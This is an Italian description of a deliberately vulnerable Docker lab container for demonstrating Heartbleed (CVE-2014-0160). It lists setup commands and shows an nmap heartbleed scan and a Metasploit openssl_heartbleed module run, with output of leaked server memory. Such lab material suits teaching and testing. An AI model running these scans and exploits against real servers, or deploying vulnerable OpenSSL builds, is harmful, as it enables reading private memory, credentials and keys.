hmlio/vaas-cve-2014-0160Vulnerabilità come servizio: presentazione di CVE-2014-0160, alias Heartbleed.
Un sistema Linux Debian (Wheezy) con una versione vulnerabile di libssl e openssl e un server web per mostrare CVS-2014-0160, noto anche come Heartbleed.
Questo container docker è basato su Debian Jessie ed è stato modificato per utilizzare una versione vulnerabile di libssl e openssl.
Una semplice pagina web statica è servita tramite Apache 2.
Installa il container con docker pull hmlio/vaas-cve-2014-0160
Esegui il container con un mapping delle porte docker run -d -p 8443:443 hmlio/vaas-cve-2014-0160
Dovresti essere in grado di accedere all'applicazione web all'indirizzo http://your-ip:8443/.
La versione del server web / openssl/libssl vulnerabile può essere verificata e sfruttata come mostrato di seguito (si consiglia di utilizzare una macchina Kali):
root@kali:~/vaas-cve-2014-0160# nmap -sV -p 8443 --script=ssl-heartbleed your-ip
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-26 17:31 EDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000068s latency).
Other addresses for localhost (not scanned): ::1
PORT STATE SERVICE VERSION
8443/tcp open ssl/ssl Apache httpd (SSL-only mode)
|_http-server-header: Apache/2.4.10 (Debian)
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://cvedetails.com/cve/2014-0160/
|_ http://www.openssl.org/news/secadv_20140407.txt
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.61 seconds
Using msfcli from the Metasploit framework:
root@kali:/tmp# msfcli auxiliary/scanner/ssl/openssl_heartbleed RHOSTS=your-ip RPORT=8443 VERBOSE=true E
...
...
[*] 192.168.179.230:8443 - Sending Heartbeat...
[*] 192.168.179.230:8443 - Heartbeat response, 65535 bytes
[+] 192.168.179.230:8443 - Heartbeat response with leak
[*] 192.168.179.230:8443 - Printable info leaked: U`tcz~8}"V2|vf3<tf"!98532ED/A/39.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: de,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip